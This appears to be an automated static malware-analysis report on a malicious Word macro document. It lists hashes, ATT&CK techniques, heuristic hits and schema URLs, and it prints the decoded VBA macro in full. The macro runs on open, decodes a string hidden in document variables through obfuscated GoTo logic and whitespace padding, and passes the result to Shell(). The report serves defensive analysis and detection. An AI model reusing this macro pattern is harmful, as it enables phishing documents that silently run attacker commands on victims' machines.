Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 48083aa34809bbfa…

MALICIOUS

Office (OOXML)

162.1 KB Created: 2020-01-19 12:30:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: b0f91dd464f47ab8e303ffb0dc8237dc SHA-1: def9dabc45771fb2735474e124fa4922092d7865 SHA-256: 48083aa34809bbfa8066653bf47184c5148caf79343cb76b231366228a0e7671
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is a malicious OOXML document containing a VBA project. The presence of a Document_Open macro and a Shell() call within the VBA code indicates that the document is designed to automatically execute malicious code upon opening. The VBA script attempts to retrieve a value from document variables and then proceeds to execute further actions, likely involving the download and execution of a second-stage payload. The specific URL for the payload is not directly visible in the provided script excerpt, but the overall pattern suggests a downloader.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2764 bytes
SHA-256: 6206ddfb2d13913491cd149c97692719f99d22da7e3181962339602524597fc0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Public harassed As String






           







                                                                






                                                            Sub Document_Open()






              




                                                                        







              






                                                                    primely








                  







              




               End Sub





                                                    





                                                                







          Private Sub primely()
GoTo supergyre







supergyre:
Dim dysthymia As Long: Dim marseillaise As String: dysthymia = 1







                                                        GoTo iniquitous








iniquitous:






                                                                            harassed = ActiveDocument.Variables("d996d7976a9845").Value






              







              If dysthymia <= Len(harassed) Then








                                                        







                                                                    






              GoTo pilsner






                                                                    







           





               Else







                                                        







                                                                            Shell marseillaise






                                                        





                                                                            





          






                 Exit Sub
pilsner:





          




                                                




          




                                            marseillaise = marseillaise & Chr(CInt(ActiveDocument.Variables("h7c243ebd7a1f76").Value & Mid(harassed, dysthymia, 2)) - 30)







          






                                                        dysthymia = dysthymia + 2





           




             GoTo iniquitous








              End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 0c226475930a140e6e40f6dfe4e489986400ba5add046206757a5eff94c9e5f7